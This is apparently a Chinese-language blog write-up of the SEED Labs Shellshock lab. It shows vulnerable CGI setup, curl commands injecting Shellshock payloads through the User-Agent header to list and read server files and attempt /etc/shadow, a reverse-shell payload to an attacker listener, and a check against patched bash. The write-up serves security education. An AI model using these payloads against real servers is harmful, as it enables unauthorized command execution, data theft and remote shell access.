SEED Labs – Shellshock Attack Lab

警告
本文最后更新于 2023-10-13,文中内容可能已过时。

bash_shellshock 易受到 Shellshock 攻击。如下所示,子 shell 将 foo 转化为子函数定义,在解析过程中,由于 Shellshock 漏洞,Bash 将执行大括号后面的额外命令,打印 extra。

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013122125255.png

修补版本的 Bash 则不会有上述问题。

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013232639342.png

/usr/lib/cgi-bin目录下创建myprog.cgi,并将其权限设置为 755:

1
2
3
4
5
6
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"

访问 CGI 程序:

1
curl http://localhost/cgi-bin/myprog.cgi

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013124349624.png

创建test.cgi,并将其权限设置为 755:

1
2
3
4
5
6
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ

打印 HTTP 请求和来自服务器的响应:

1
curl -v http://10.0.2.4/cgi-bin/test.cgi

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013125509376.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013125534513.png

其中,User-Agent 字段、Referer 字段、额外头字段等可由客户端设置。以 User-Agent 字段为例,Apache 服务器从 HTTP 请求头中获得 User-Agent 信息,并将其赋值给环境变量 HTTP_USER_AGENT。当 Apache 服务器创建一个子进程来执行 CGI 程序时,它会传递该变量以及其他一些环境变量给 CGI 程序。

1
curl -A "test" -v http://10.0.2.4/cgi-bin/test.cgi

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013230421415.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013230439185.png

发起 Shellshock 攻击,窃取私密文件内容:

1
curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/ls -l" http://10.0.2.4/cgi-bin/test.cgi

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013131543823.png

1
curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat test.cgi" http://10.0.2.4/cgi-bin/test.cgi

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013132838286.png

无法窃取影子文件的内容,因为其他用户组没有读权限。

1
curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat /etc/shadow" http://10.0.2.4/cgi-bin/test.cgi

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013132752010.png

1
curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/ls -l /etc" http://10.0.2.4/cgi-bin/test.cgi | grep shadow

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013132652290.png

攻击者先运行nc -lv 9090启动 TCP 服务器,随后向目标服务器的 CGI 程序发送恶意请求。由于 Shellshock 漏洞,/bin/bash -i > /dev/tcp/10.0.2.5/9090 0<&1 2>&1将在服务器上被执行,该命令在服务器上开启了一个 Bash shell,输入来自 TCP 连接,输出传给同一个 TCP 连接。CGI 程序触发 Bash shell 后,该 Bash shell 连接到攻击者机器的 9090 端口。攻击者的 nc 程序接受此连接,显示服务器 CGI 触发的 Bash 程序送来的 shell 提示符,反向 shell 成功。

1
2
nc -lv 9090
curl -A "() { echo hello; }; echo Content_type: text/plain; echo; echo;  /bin/bash -i > /dev/tcp/10.0.2.5/9090 0<&1 2>&1" http://10.0.2.4/cgi-bin/test.cgi

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013140006391.png

修改test.cgi第一行为#!/bin/bash,重做 Task 3 和 Task 5。

对于 Task 3,User-Agent 字段、Referer 字段、额外头字段等仍可由客户端设置。

对于 Task 5,可以发现我们构造的恶意字段被正常转化为环境变量,攻击失败。

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231013231533760.png